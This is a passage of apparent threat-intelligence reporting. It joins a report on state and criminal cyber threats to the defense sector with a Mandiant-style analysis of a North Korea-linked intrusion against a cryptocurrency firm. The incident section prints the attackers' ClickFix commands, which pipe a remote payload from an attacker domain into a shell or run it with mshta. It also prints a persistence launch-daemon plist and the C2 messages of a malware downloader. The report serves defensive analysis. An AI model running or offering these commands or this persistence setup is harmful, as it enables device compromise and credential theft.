• In 2025, a Maryland-based individual, Minh Phuong Ngoc Vong, was sentenced to 15 months in prison for their role in facilitating a DPRK ITW scheme. According to government documents, in coordination with a suspected DPRK IT worker, Vong was hired by a Virginia-based company to perform remote software development work for a government contract that involved a US government entity's defense program. The suspected DPRK IT worker used Vong’s credentials to log in and perform work under Vong’s identity, for which Vong was later paid, ultimately sending some of those funds overseas to the IT worker. 

The Industrialization of Job Campaigns 

Job-themed campaigns have become a significant and persistent operational trend among cyber threat actors, who leverage employment-themed social engineering as a high-efficacy vector for both espionage and financial gain. These operations exploit the trust inherent in the online job search, application, and interview processes, masquerading malicious content as job postings, fake job offers, recruitment documents, and malicious resume-builder applications to trick high-value personnel into deploying malware or providing credentials. 

North Korean Cyber Operations Targeting Defense Sector Employees 

North Korean cyber espionage operations have targeted defense technologies and personnel using employment themed social engineering. GTIG has directly observed campaigns conducted by APT45, APT43, and UNC2970 specifically target individuals at organizations within the defense industry.  

• GTIG identified a suspected APT45 operation leveraging the SMALLTIGER malware to reportedly target South Korean defense, semiconductor, and automotive manufacturing entities. Based on historical activity, we suspect this activity is conducted at least in part to acquire intellectual property to support the North Korean regime in its research and development efforts in the targeted industries; South Korea's National Intelligence Service (NIS) has also reported on North Korean attempts to steal intellectual property toward the aims of producing its own semiconductors for use in its weapons programs.

• GTIG identified suspected APT43 infrastructure mimicking German and U.S. defense-related entities, including a credential harvesting page and job-themed lure content used to deploy the THINWAVE backdoor. Related infrastructure was also used by HANGMAN.V2, a backdoor used by APT43 and suspected APT43 clusters.  

• UNC2970 has consistently focused on defense targeting and impersonating corporate recruiters in their campaigns. The cluster has used Gemini to synthesize open-source intelligence (OSINT) and profile high-value targets to support campaign planning and reconnaissance. UNC2970’s target profiling included searching for information on major cybersecurity and defense companies and mapping specific technical job roles and salary information. This reconnaissance activity is used to gather the necessary information to create tailored, high-fidelity phishing personas and identify potential targets for initial compromise.

Iranian Threat Actors Use Recruitment-Themed Campaigns to Target Aerospace and Defense Employees

GTIG has observed Iranian state-sponsored cyber actors consistently leverage employment opportunities and exploit trusted third-party relationships in operations targeting the defense and aerospace sector. Since at least 2022, groups such as UNC1549 and UNC6446 have used spoofed job portals, fake job offer lures, as well as malicious resume-builder applications for defense firms, some of which specialize in aviation, aerospace, and UAV technology, to trick users/personnel into executing malware or giving up credentials under the guise of legitimate employment opportunities. 

• GTIG has identified fake job descriptions, portals, and survey lures hosted on UNC1549 infrastructure masquerading as aerospace, technology, and thermal imaging companies, including drone manufacturing entities, to likely target personnel interested in major defense contractors. Likely indicative of their intended targeting, in one campaign UNC1549 leveraged a spoofed domain for a drone-related conference in Asia. 

• UNC1549 has additionally gained initial access to organizations in the defense and aerospace sector by exploiting trusted connections with third-party suppliers. The group leverages compromised third-party accounts to exploit legitimate access pathways, often pivoting from service providers to their customers. Once access is gained, UNC1549 has focused on privilege escalation by targeting IT staff with malicious emails that mimic authentic processes to steal administrator credentials, or by exploiting less-secure third-party suppliers to breach the primary target’s infrastructure via legitimate remote access services like Citrix and VMware. Post-compromise activities often include credential theft using custom tools like CRASHPAD and RDP session hijacking to access active user sessions. 

Since at least 2022, the Iranian-nexus threat actor UNC6446 has used resume builder and personality test applications to deliver custom malware primarily to targets in the aerospace and defense vertical across the US and Middle East. These applications provide a user interface - including one likely designed for employees of a UK-based multinational aerospace and defense company - while malware runs in the background to steal initial system reconnaissance data.

China-Nexus Actor Targets Personal Emails of Defense Contractor Employees

China-nexus threat actor APT5 conducted two separate campaigns in mid to late 2024 and in May 2025 against current and former employees of major aerospace and defense contractors. While employees at one of the companies received emails to their work email addresses, in both campaigns, the actor sent spearphishes to employees’ personal email addresses. The lures were meticulously crafted to align with the targets' professional roles, geographical locations, and personal interests. Among the professional, industry, and training lures the actor leveraged included: 

• Invitations to industry events, such as CANSEC (Canadian Association of Defence and Security Industries), MilCIS (Military Communications and Information Systems), and SHRM (Society for Human Resource Management). 

•  Red Cross training courses references.

• Phishing emails disguised as job offers.

Additionally, the actor also leveraged hyper-specific and personal lures related to the locations and activities of their targetings, including: 

• Emails referencing a "Community service verification form" from a local high school near one of the contractor's headquarters.

• Phishing emails using "Alumni tickets" for a university minor league baseball team, targeting employees who attended the university.

• Emails purporting to be "open letters" to Boy Scouts of America camp or troop leadership, targeting employees known to be volunteers or parents.

• Fake guides and registration information leveraging the 2024 election cycle for the state where the employees lived.

RU Hacktivists Targeting Personnel 

Doxxing remains a cornerstone of pro-Russia hacktivist threat activity, targeting both individuals within Ukraine’s military and security services as well as foreign allies. Some groups have centered their operations on doxxing to uncover members across specific units/organizations, while others use doxxing to supplement more diverse operations.

For example, in 2025, the group Heaven of the Slavs (Original Russian: НЕБО СЛАВЯН) claimed to have doxxed Ukrainian defense contractors and military officials; Beregini alleged to identify individuals who worked at Ukrainian defense contractors, including those that it claimed worked at Ukrainian naval drone manufacturers; and PalachPro claimed to have identified foreign fighters in Ukraine, and the group separately claimed to have compromised the devices of Ukrainian soldiers. Further hacktivist activity against the defense sector is covered in the last section of this report.

3. Persistent Area of Focus For China-Nexus Cyber Espionage Actors 

The defense industrial base has been an important target for China-nexus threat actors for as long as cyber operations have been used for espionage. One of the earliest observed compromises attributed to the Chinese military’s APT1 group was a firm in the defense industrial sector in 2007. While historical campaigns by actors such as APT40 have at times shown hyper-specific focus in sub-sectors of defense, such as maritime related technologies, in general the areas of defense targeting from China-nexus groups has spanned all domains and supply chain layers. Alongside this focus on defense systems and contractors, Chinese cyber espionage groups have steadily improved their tradecraft over the past several years, increasing the risk to this sector. 

GTIG has observed more China-nexus cyber espionage missions directly targeting defense and aerospace industry than from any other state-sponsored actors over the last two years. China-nexus espionage actors have used a broad range of tactics in operations, but the hallmark of many operations has been their exploitation of edge devices to gain initial access. We have also observed China-nexus threat groups leverage ORB networks for reconnaissance against defense industrial targets, which complicates detection and attribution.

Drawing from both direct observations and open-source research, GTIG assesses with high confidence that since 2020, Chinese cyber espionage groups have exploited more than two dozen zero-day (0-day) vulnerabilities in edge devices (devices that are typically placed at the edge of a network and often do not support EDR monitoring, such as VPNs, routers, switches, and security appliances) from ten different vendors. This observed emphasis on exploiting 0-days in edge devices likely reflects an intentional strategy to benefit from the tactical advantages of reduced opportunities for detection and increased rates of successful compromises.

While we have observed exploitation spread to multiple threat groups soon after disclosure, often the first Chinese cyber espionage activity sets we discover exploiting an edge device 0-day, such as UNC4841, UNC3886, and UNC5221, demonstrate extensive efforts to obfuscate their activity in order to maintain long-term access to targeted environments. Notably, in recent years, both UNC3886 and UNC5221 operations have directly impacted the defense sector, among other industries. 

• UNC3886 is one of the most capable and prolific China-nexus threat groups GTIG has observed in recent years. While UNC3886 has targeted multiple sectors, their early operations in 2022 had a distinct focus on aerospace and defense entities. We have observed UNC3886 employ 17 distinct malware families in operations against DIB targets. Beyond aerospace and defense targets, UNC3886 campaigns have been observed impacting the telecommunications and technology sectors in the US and Asia.   

• UNC5221 is a sophisticated, suspected China-nexus cyber espionage actor characterized by its focus on exploiting edge infrastructure to penetrate high-value strategic targets. The actor demonstrates a distinct operational preference for compromising perimeter devices—such as VPN appliances and firewalls—to bypass traditional endpoint detection, subsequently establishing persistent access to conduct long-term intelligence collection. Their observed targeting profile is highly selective, prioritizing entities that serve as "force multipliers" for intelligence gathering, such as managed service providers (MSPs), law firms, and central nodes in the global technology supply chain. The BRICKSTORM malware campaign uncovered in 2025, which we suspect was conducted by UNC5221, was notable for its stealth, with an average dwell time of 393 days. Organizations that were impacted spanned multiple sectors but included aerospace and defense. 

In addition to these two groups, GTIG has analysed other China-nexus groups impacting the defense sector in recent years. 

UNC3236 Observed Targeting U.S. Military and Logistics Portal

In 2024, GTIG observed reconnaissance activity associated with UNC3236 (linked to Volt Typhoon) against publicly hosted login portals of North American military and defense contractors, and U.S. and Canadian government domains related to North American infrastructure. The activity leveraged the ARCMAZE obfuscation network to obfuscate its origin. Netflow analysis revealed communication with SOHO routers outside the ARCMAZE network, suggesting an additional hop point to hinder tracking. Targeted entities included a Drupal web login portal used by defense contractors involved in U.S. military infrastructure projects. 

UNC6508 Search Terms Indicate Interest in Defense Contractors and Military Platforms

In late 2023, China-nexus threat cluster UNC6508 targeted a US-based research institution through a multi-stage attack that leveraged an initial REDCap exploit and custom malware named INFINITERED. This malware is embedded within a trojanized version of a legitimate REDCap system file and functions as a recursive dropper. It is capable of enabling persistent remote access and credential theft after intercepting the application's software upgrade process to inject malicious code into the next version's core files. 

The actor used the REDCap system access to collect credentials to access the victim’s email platform filtering rules to collect information related to US national security and foreign policy (Figure 10). GTIG assesses with low confidence that the actors likely sought to fulfill a set of intelligence collection requirements, though the nature and intended focus of the collection effort are unknown.

By August 2025, the actors leveraged credentials obtained via INFINITERED to access the institution's environment with legitimate, compromised administrator credentials. They abused the tenant compliance rules to dynamically reroute messages based on a combination of keywords and or recipients. The actors modified an email rule to BCC an actor-controlled email address if any of 150 regex-defined search terms or email addresses appeared in email bodies or subjects, thereby facilitating data exfiltration by forwarding any email that contained at least one of the terms related to US national security, military equipment and operations, foreign policy, and medical research, among others. About a third of the keywords referenced a military system or a defense contractor, with a notable amount related to UAS or counter-UAS systems.

4. Hack, Leak, and Disruption of the Manufacturing Supply Chain

Extortion operations continue to represent the most impactful cyber crime threat globally, due to the prevalence of the activity, the potential for disrupting business operations, and the public disclosure of sensitive data such as personally identifiable information (PII), intellectual property, and legal documents. Similarly, hack-and-leak operations conducted by geopolitically and ideologically motivated hacktivist groups may also result in the public disclosure of sensitive data. These data breaches can represent a risk to defense contractors via loss of intellectual property, to their employees due to the potential use of PII for targeting data, and to the defense agencies they support. Less frequently, both financially and ideologically motivated threat actors may conduct significant disruptive operations, such as the deployment of ransomware on operational technology (OT) systems or distributed-denial-of-service (DDoS) attacks.

Cyber Crime Activity Impacting the Defense Industrial Base and Broader Manufacturing and Industrial Supply Chain

While dedicated aerospace & defense organizations represent only about 1% of victims listed on data leak sites (DLS) in 2025, manufacturing organizations, many of which directly or indirectly support defense contracts, have consistently represented the largest share of DLS listings by count (Figure 11). This broader manufacturing sector includes companies that may provide dual-use components for defense applications. For example, a significant 2025 ransomware incident affecting a UK automotive manufacturer, who also produces military vehicles, disrupted production for weeks and reportedly affected more than 5,000 additional organizations. This highlights the cyber risk to the broader industrial supply chain supporting the defense capacity of a nation, including the ability to surge defense components in a wartime environment can be impacted, even when these intrusions are limited to IT networks.

Threat actors also regularly share and/or advertise illicit access to or stolen data from aerospace and defense sector organizations. For example, the persona “miyako,” who has been active on multiple underground forums based on the use of the same username and Session ID, has advertised access to multiple, unnamed, defense contractors over time (Figure 11). While defense contractors are likely not attractive targets for many cyber criminals, given that these organizations typically maintain a strong security posture, a small subset of financially motivated actors may disproportionately target the industry due to dual motivations, such as a desire for notoriety or ideological motivations. For example, the BreachForums actor “USDoD” regularly shared or advertised access to data claimed to have been stolen from prominent defense-related organizations. In a bizarre 2023 interview, USDoD claimed the threat was misdirection and that they were actually targeting a consulting firm, NATO, CEPOL, Europol, and Interpol. USDoD further indicated that they had a personal vendetta and were not motivated by politics. In October 2024, Brazilian authorities arrested an individual accused of being USDoD.

Hacktivist Operations Targeting the Defense Industrial Base

Pro-Russia and pro-Iran hacktivism operations at times extend beyond simple nuisance-level attacks to high-impact operations, including data leaks and operational disruptions. Unlike financially motivated activity, these campaigns prioritize the exposure of sensitive military schematics and personal personnel data—often through "hack-and-leak" tactics—in an attempt to erode public trust, intimidate defense officials, and influence geopolitical developments on the ground. Robust geopolitically motivated hacktivist activity works not only to advance state interests but also can serve to complicate attribution of threat activity from state-backed actors, which are known to leverage hacktivist tactics for their own ends.

Pro-Russia Hacktivism Activity

Pro-Russia hacktivist actors have collectively dedicated a notable portion of their threat activity to targeting entities associated with Ukraine’s and Western countries’ militaries and in their defense sectors. As we have previously reported, GTIG observed a revival and intensification of activity within the pro-Russia hacktivist ecosystem in response to the launch of Russia’s full-scale invasion of Ukraine in February 2022. The vast majority of pro-Russia hacktivist activity that we have subsequently tracked has likewise appeared intended to advance Russia’s interests in the war. As with the targeting of other high-profile organizations, at least some of this activity appeared primarily intended to generate media attention. However, a review of the related threat activity observed in 2025 also suggest that actors targeting military/defense sectors had more diverse objectives, including seeding influence narratives, monetizing claimed access, and influencing developments on the ground. Some observed attack/targeting trends over the last year include the following:

• DDoS Attacks: Multiple pro-Russia hacktivist groups have claimed distributed denial-of-service (DDoS) attacks targeting government and private organizations involved in defense. This includes multiple such attacks claimed by the group NoName057(16), which has prolifically leveraged DDoS attacks to attack a range of targets. While this often may be more nuisance-level activity, it demonstrates at the most basic level how defense sector targeting is a part of hacktivist threat activity that is broadly oriented toward targeting entities in countries that support Ukraine. 

• Network Intrusion: In limited instances, pro-Russia groups claimed intrusion activity targeting private defense-sector organizations. Often this was in support of hack and leak operations. For example, in November 2025, the group PalachPro claimed to have targeted multiple Italian defense companies, alleging that they exfiltrated sensitive data from their networks—in at least one instance, PalachPro claimed it would sell this data; that same month, the group Infrastructure Destruction Squad claimed to have launched an unsuccessful attack targeting a major US arms producer.  

• Document Leaks: A continuous stream of claimed or otherwise implied hack and leak operations has targeted the Ukrainian military and the government and private organizations that support Ukraine. Beregini and JokerDNR (aka JokerDPR) are two notable pro-Russia groups engaged in this activity, both of which regularly disseminate documents that they claim are related to the administration of Ukraine’s military, coordination with Ukraine’s foreign partners, and foreign weapons systems supplied to Ukraine. GTIG cannot confirm the potential validity of all the disseminated documents, though in at least some instances the sensitive nature of the documents appears to be overstated. 

• Often, Beregini and JokerDNR leverage this activity to promote anti-Ukraine narratives, including those that appear intended to reduce domestic confidence in the Ukrainian government by alleging things like corruption and government scandals, or that Ukraine is being supplied with inferior equipment. 

Pro-Iran Hacktivism Activity

Pro-Iran hacktivist threat activity targeting the defense sector has intensified significantly following the onset of the Israel-Hamas conflict in October 2023. These operations are characterized by a shift from nuisance-level disruptive attacks to sophisticated "hack-and-leak" campaigns, supply chain compromises, and aggressive psychological warfare targeting military personnel. Threat actors such as Handala Hack, Cyber Toufan, and the Cyber Isnaad Front have prioritized the Israeli defense industrial base—compromising manufacturers, logistics providers, and technology firms to expose sensitive schematics, personnel data, and military contracts. The objective of these campaigns is not merely disruption but the degradation of Israel’s national security apparatus through the exposure of military capabilities, the intimidation of defense sector employees via "doxxing," and the erosion of public trust in the security establishment. 

• The pro-Iran persona Handala Hack, which GTIG has observed publicize threat activity associated with UNC5203, has consistently targeted both the Israeli Government, as well as its supporting military-industrial complex. Threat activity attributed to the persona has primarily consisted of hack-and-leak operations, but has increasingly incorporated doxxing and tactics designed to promote fear, uncertainty, and doubt (FUD). 

• On the two-year anniversary of al-Aqsa Flood, the day which Hamas-led militants attacked Israel, Handala launched “Handala RedWanted,” an actor-controlled website supporting a concerted doxxing/intimidation campaign targeting members of Israel’s Armed Forces, its intelligence and national security apparatus, and both individuals and organizations the group claims to comprise Israel’s military-industrial complex. 

• Following the announcement of RedWanted, the persona has recently signaled an expansion of its operations vis-a-vis the launch of “Handala Alert.” Significant in terms of a potential expansion in the group’s external targeting calculus, which has long prioritized Israel, is a renewed effort by Handala to “support anti-regime activities abroad.” 

• Ongoing campaigns such as those attributed to the Pro-Iran personas Cyber Toufan (UNC5318) and الجبهة الإسناد السيبرانية (Cyber Isnaad Front) are additionally demonstrative of the broader ecosystem’s longstanding prioritization of the defense sector. 

• Leveraging a newly-established leak channel on Telegram (ILDefenseLeaks), Cyber Toufan has publicized a number of operations targeting Israel’s military-industrial sector, most of which the group claims to have been the result of a supply chain compromise resulting from its breach of network infrastructure associated with an Israeli defense contractor. According to Cyber Toufan, access to this contractor resulted in the compromise of at least 17 additional Israeli defense contractor organizations.

• While these activities have prioritized the targeting of Israel specifically, claimed operations have in limited instances impacted other countries. For example, recent threat activity publicized by Cyber Isnaad Front also surrounding the alleged compromise of the aforementioned Israeli defense contractor leaked information involving reported plans by the Australian Defense Force to purchase Spike NLOS anti-tank missiles from Israel. 

Conclusion 

Given global efforts to increase defense investment and develop new technologies the security of the defense sector is more important to national security than ever. Actors supporting nation state objectives have interest in the production of new and emerging defense technologies, their capabilities, the end customers purchasing them, and potential methods for countering these systems. Financially motivated actors carry out extortion against this sector and the broader manufacturing base like many of the other verticals they target for monetary gain. 

While specific risks vary by geographic footprint and sub-sector specialization, the broader trend is clear: the defense industrial base is under a state of constant, multi-vector siege. The campaigns against defense contractors in Ukraine, threats to or exploitation of defense personnel, the persistent volume of intrusions by China-nexus actors, and the hack, leak, and disruption of the manufacturing base are some of the leading threats to this industry today. To maintain a competitive advantage, organizations must move beyond reactive postures. By integrating these intelligence trends into proactive threat hunting and resilient architecture, the defense sector can ensure that the systems protecting the nation are not compromised before they ever reach the field.

Written by: Ross Inman, Adrian Hernandez

Introduction

North Korean threat actors continue to evolve their tradecraft to target the cryptocurrency and decentralized finance (DeFi) verticals. Mandiant recently investigated an intrusion targeting a FinTech entity within this sector, attributed to UNC1069, a financially motivated threat actor active since at least 2018. This investigation revealed a tailored intrusion resulting in the deployment of seven unique malware families, including a new set of tooling designed to capture host and victim data: SILENCELIFT, DEEPBREATH and CHROMEPUSH. The intrusion relied on a social engineering scheme involving a compromised Telegram account, a fake Zoom meeting, a ClickFix infection vector, and reported usage of AI-generated video to deceive the victim.

These tactics build upon a shift first documented in the November 2025 publication GTIG AI Threat Tracker: Advances in Threat Actor Usage of AI Tools where Google Threat Intelligence Group (GTIG) identified UNC1069's transition from using AI for simple productivity gains to deploying novel AI-enabled lures in active operations. The volume of tooling deployed on a single host indicates a highly determined effort to harvest credentials, browser data, and session tokens to facilitate financial theft. While UNC1069 typically targets cryptocurrency startups, software developers, and venture capital firms, the deployment of multiple new malware families alongside the known downloader SUGARLOADER marks a significant expansion in their capabilities.

Initial Vector and Social Engineering 

The victim was contacted via Telegram through the account of an executive of a cryptocurrency company that had been compromised by UNC1069. Mandiant identified claims from the true owner of the account, posted from another social media profile, where they had posted a warning to their contacts that their Telegram account had been hijacked; however, Mandiant was not able to verify or establish contact with this executive. UNC1069 engaged the victim and, after building a rapport, sent a Calendly link to schedule a 30-minute meeting. The meeting link itself directed to a spoofed Zoom meeting that was hosted on the threat actor's infrastructure, zoom[.]uswe05[.]us. 

The victim reported that during the call, they were presented with a video of a CEO from another cryptocurrency company that appeared to be a deepfake. While Mandiant was unable to recover forensic evidence to independently verify the use of AI models in this specific instance, the reported ruse is similar to a previously publicly reported incident with similar characteristics, where deepfakes were also allegedly used.

Once in the "meeting," the fake video call facilitated a ruse that gave the impression to the end user that they were experiencing audio issues. This was employed by the threat actor to conduct a ClickFix attack: an attack technique where the threat actor directs the user to run troubleshooting commands on their system to address a purported technical issue. The recovered web page provided two sets of commands to be run for "troubleshooting": one for macOS systems, and one for Windows systems. Embedded within the string of commands was a single command that initiated the infection chain. 

Mandiant has observed UNC1069 employing these techniques to target both corporate entities and individuals within the cryptocurrency industry, including software firms and their developers, as well as venture capital firms and their employees or executives. This includes the use of fake Zoom meetings and a known use of AI tools by the threat actor for editing images or videos during the social engineering stage. 

UNC1069 is known to use tools like Gemini to develop tooling, conduct operational research, and assist during the reconnaissance stages, as reported by GTIG. Additionally, Kaspersky recently claimed Bluenoroff, a threat actor that overlaps with UNC1069, is also using GTP-4o models to modify images indicating adoption of GenAI tools and integration of AI into the adversary lifecycle.

Infection Chain 

In the incident response engagement performed by Mandiant, the victim executed the "troubleshooting" commands provided in Figure 1, which led to the initial infection of the macOS device.

system_profiler SPAudioData
softwareupdate --evaluate-products --products audio --agree-to-license
curl -A audio -s hxxp://mylingocoin[.]com/audio/fix/6454694440 | zsh
system_profiler SPSoundCardData
softwareupdate --evaluate-products --products soundcard
system_profiler SPSpeechData
softwareupdate --evaluate-products --products speech --agree-to-license

Figure 1: Attacker commands shared during the social engineering stage

A set of "troubleshooting" commands that targeted Windows operating systems was also recovered from the fake Zoom call webpage:

setx audio_volume 100
pnputil /enum-devices /connected /class "Audio"
mshta hxxp://mylingocoin[.]com/audio/fix/6454694440
wmic sounddev get Caption, ProductName, DeviceID, Status
msdt -id AudioPlaybackDiagnostic
exit

Figure 2: Attacker commands shared when Windows is detected

Evidence of AppleScript execution was recorded immediately following the start of the infection chain; however, contents of the AppleScript payload could not be recovered from the resident forensic artifacts on the system. Following the AppleScript execution a malicious Mach-O binary was deployed to the system. 

The first malicious executable file deployed to the system was a packed backdoor tracked by Mandiant as WAVESHAPER. WAVESHAPER served as a conduit to deploy a downloader tracked by Mandiant as HYPERCALL as well as subsequent additional tooling to considerably expand the adversary's foothold on the system. 

Mandiant observed three uses of the HYPERCALL downloader during the intrusion: 

1. Execute a follow-on backdoor component, tracked by Mandiant as HIDDENCALL, which provided hands-on keyboard access to the compromised system

2. Deploy another downloader, tracked by Mandiant as SUGARLOADER

3. Facilitate the execution of a toehold backdoor, tracked by Mandiant as SILENCELIFT, which beacons system information to a command-and-control (C2 or C&C) server

XProtect 

XProtect is the built-in anti-virus technology included in macOS. Originally relying on signature-based detection only, the XProtect Behavioral Service (XBS) was introduced to implement behavioral-based detection. If a program violates one of the behavioral-based rules, which are defined by Apple, information about the offending program is recorded in the XProtect Database (XPdb), an SQLite 3 database located at /var/protected/xprotect/XPdb.

Unlike signature-based detections, behavioral-based detections do not result in XProtect blocking execution or quarantining of the offending program. 

Mandiant recovered the file paths and SHA256 hashes of programs that had violated one or more of the XBS rules from the XPdb. This included information on malicious programs that had been deleted and could not be recovered. As the XPdb also includes a timestamp of the detection, Mandiant could determine the sequence of events associated with malware execution, from the initial infection chain to the next-stage malware deployments, despite no endpoint detection and response (EDR) product being present on the compromised system. 

Data Harvesting and Persistence

Mandiant identified two disparate data miners that were deployed by the threat actor during their access period: DEEPBREATH and CHROMEPUSH. 

DEEPBREATH, a data miner written in Swift, was deployed via HIDDENCALL—the follow-on backdoor component to HYPERCALL. DEEPBREATH manipulates the Transparency, Consent, and Control (TCC) database to gain broad file system access, enabling it to steal:

1. Credentials from the user's Keychain

2. Browser data from Chrome, Brave, and Edge

3. User data from two different versions of Telegram

4. User data from Apple Notes

DEEPBREATH stages the targeted data in a temporary folder location and compresses the data into a ZIP archive, which was exfiltrated to a remote server via the curl command-line utility. 

Mandiant also identified HYPERCALL deployed an additional malware loader, tracked as part of the code family SUGARLOADER. A persistence mechanism was installed in the form of a launch daemon for SUGARLOADER, which configured the system to execute the malware during the macOS startup process. The launch daemon was configured through a property list (Plist) file, /Library/LaunchDaemons/com.apple.system.updater.plist. The contents of the launch daemon Plist file are provided in Figure 4.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>Label</key>
	<string>com.apple.system.updater</string>
	<key>ProgramArguments</key>
	<array>
	<string>/Library/OSRecovery/SystemUpdater</string>
	</array>
	<key>RunAtLoad</key>
 	<true/>
	<key>KeepAlive</key>
	<false/>
	<key>ExitTimeOut</key>
	<integer>10</integer>
</dict>
</plist>

Figure 4: Launch daemon Plist configured to execute SUGARLOADER

The SUGARLOADER sample recovered during the investigation did not have any internal functionality for establishing persistence; therefore, Mandiant assesses the launch daemon was created manually via access granted by one of the other malicious programs.

Mandiant observed SUGARLOADER was solely used to deploy CHROMEPUSH, a data miner written in C++. CHROMEPUSH deployed a browser extension to Google Chrome and Brave browsers that masqueraded as an extension purposed for editing Google Docs offline. CHROMEPUSH additionally possessed the capability to record keystrokes, observe username and password inputs, and extract browser cookies, completing the data harvesting on the host.

In the Spotlight: UNC1069

UNC1069 is a financially motivated threat actor that is suspected with high confidence to have a North Korea nexus and that has been tracked by Mandiant since 2018. Mandiant has observed this threat actor evolve its tactics, techniques, and procedures (TTPs), tooling, and targeting. Since at least 2023, the group has shifted from spear-phishing techniques and traditional finance (TradFi) targeting towards the Web3 industry, such as centralized exchanges (CEX), software developers at financial institutions, high-technology companies, and individuals at venture capital funds. Notably, while UNC1069 has had a smaller impact on cryptocurrency heists compared to other groups like UNC4899 in 2025, it remains an active threat targeting centralized exchanges and both entities and individuals for financial gain.

Mandiant has observed this group active in 2025 targeting the financial services and the cryptocurrency industry in payments, brokerage, staking, and wallet infrastructure verticals. 

While UNC1069 operators have targeted both individuals in the Web3 space and corporate networks in these verticals, UNC1069 and other suspected Democratic People's Republic of Korea (DPRK)-nexus groups have demonstrated the capability to move from personal to corporate devices using different techniques in the past. However, for this particular incident, Mandiant noted an unusually large amount of tooling dropped onto a single host targeting a single individual. This evidence confirms this incident was a targeted attack to harvest as much data as possible for a dual purpose; enabling cryptocurrency theft and fueling future social engineering campaigns by leveraging victim’s identity and data.

Subsequently, Mandiant identified seven distinct malware families during the forensic analysis of the compromised system, with SUGARLOADER being the only malware family already tracked by Mandiant prior to the investigation.

Technical Appendix

WAVESHAPER

WAVESHAPER is a backdoor written in C++ and packed by an unknown packer that targets macOS. The backdoor supports downloading and executing arbitrary payloads retrieved from its command-and-control (C2 or C&C) server, which is provided via the command-line parameters. To communicate with the adversary infrastructure, WAVESHAPER leverages the curl library for either HTTP or HTTPS, depending on the command-line argument provided.

WAVESHAPER also runs as a daemon by forking itself into a child process that runs in the background detached from the parent session and collects the following system information, which is sent to the C&C server in a HTTP POST request:

• Random victim UID (16 alphanumeric chars)

• Victim username

• Victim machine name

• System time zone

• System boot time using sysctlbyname("kern.boottime")

• Recently installed software

• Hardware model

• CPU information

• OS version

• List of the running processes

Payloads downloaded from the C&C server are saved to a file system location matching the following regular expression pattern: /tmp/\.[A-Za-z0-9]{6}.

HYPERCALL

HYPERCALL is a Go-based downloader designed for macOS that retrieves malicious dynamic libraries from a designated C&C server. The C&C address is extracted from an RC4-encrypted configuration file that must be present on the disk alongside the binary. Once downloaded, the library is reflectively loaded for in-memory execution.

Mandiant observed recognizable influences from SUGARLOADER in HYPERCALL, despite the new downloader being written in a different language (Golang instead of C++) and having a different development process. These similarities include the use of an external configuration file for the C&C infrastructure, the use of the RC4 algorithm for configuration file decryption, and the capability for reflective library injection.

Notably, some elements in HYPERCALL appear to be incomplete. For instance, the presence of configuration parameters that are of no use reveals a lack of technical proficiency by some of UNC1069's malware developers compared to other North Korea-nexus threat actors.

HYPERCALL accepts a single command-line argument to which it expects a C&C host to connect. This command is then saved to the configuration file located at /Library/SystemSettings/.CacheLogs.db. HYPERCALL also leverages a hard-coded 16-byte RC4 key to decrypt the data stored within the configuration file, a pattern observed within other UNC1069 malware families. 

The HYPERCALL configuration instructed the downloader to communicate with the following C&C servers on TCP port 443:

• wss://supportzm[.]com
• wss://zmsupport[.]com

Once connected, the HYPERCALL registers with the C&C using the following message expecting a response message of 1:

{
    "type": "loader",
    "client_id": <client_id>
}

Figure 6: Registration message sent to the C&C server

Once the HYPERCALL has registered with the C&C server, it sends a dynamic library download request:

{
    "type": "get_binary",
    "system": "darwin"
}

Figure 7: Dynamic library download request message sent to the C&C server

The C&C server responds to the request with information on the dynamic library to download, followed by the dynamic library content:

{
    "type": <unknown>,
    "total_size": <total_size>
}

Figure 8: Dynamic library download response message received by the C&C server

The C&C server informs the HYPERCALL client all of the dynamic library content has been sent via the following message:

{
    "type": "end_chunks"
}

Figure 9: Message sent by the C&C server to mark the end of the dynamic library content

After receiving the dynamic library, HYPERCALL sends a final acknowledgement message:

{
    "type": "down_ok"
}

Figure 10: Final acknowledgement message sent by HYPERCALL to the C&C server

HYPERCALL then waits for three seconds before executing the downloaded dynamic library in-memory using reflective loading.

HIDDENCALL

We assess with high confidence that UNC1069 utilizes the HYPERCALL downloader and HIDDENCALL backdoor as components of a single, synchronized attack lifecycle. 

This assessment is supported by forensic observations of HYPERCALL downloading and reflectively injecting HIDDENCALL into system memory. Furthermore, technical examination revealed significant code overlaps between the HYPERCALL Golang binary and HIDDENCALL's Ahead-of-Time (AOT) translation files. Both families utilize identical libraries and follow a distinct "t_" naming convention for functions (such as t_loader and t_), strongly suggesting a unified development environment and shared tradecraft. The use of this custom, integrated tooling suite highlights UNC1069's technical proficiency in developing specialized capabilities to bypass security measures and secure long-term persistence in target networks.

Rosetta Cache Analysis

Mandiant has previously documented how files from the Rosetta cache can be used to prove program execution, as well as how malware identification can be possible through analysis of the symbols present in the AOT translation files.

HYPERCALL leveraged the NSCreateObjectFileImageFromMemory API call to reflectively load a follow-on backdoor component from memory. When NSCreateObjectFileImageFromMemory is called, the executable file that is to be loaded from memory is temporarily written to disk under the /tmp/ folder, with the filename matching the regular expression pattern NSCreateObjectFileImageFromMemory-[A-Za-z0-9]{8}. 

This intrinsic behaviour, combined with the HIDDENCALL payload being compiled for x86_64 architecture, resulted in the creation of a Rosetta cache AOT file for the reflectively loaded Mach-O executable. Through analysis of the Rosetta cache file, Mandiant was able to assess with high confidence that the reflectively loaded Mach-O executable was the follow-on backdoor component, also written in Golang, that Mandiant tracks as HIDDENCALL. 

Listed in Figure 11 through Figure 14 are the symbols and project file paths identified from the AOT file associated with HIDDENCALL execution, as well as the HYPERCALL sample analysed by Mandiant, which were used to assess the functionality of HIDDENCALL.

_t/common.rc4_encode
_t/common.resolve_server
_t/common.load_config
_t/common.save_config
_t/common.generate_uid
_t/common.send_data
_t/common.send_error_message
_t/common.get_local_ip
_t/common.get_info
_t/common.rsp_get_info
_t/common.override_env
_t/common.exec_command_with_timeout
_t/common.exec_command_with_timeout.func1
_t/common.rsp_exec_cmd
_t/common.send_file
_t/common.send_file.deferwrap1
_t/common.add_file_to_zip
_t/common.add_file_to_zip.deferwrap1
_t/common.zip_file
_t/common.zip_file.func1
_t/common.zip_file.deferwrap2
_t/common.zip_file.deferwrap1
_t/common.rsp_zdn
_t/common.rsp_dn
_t/common.receive_file
_t/common.receive_file.deferwrap1
_t/common.unzipFile
_t/common.unzipFile.deferwrap1
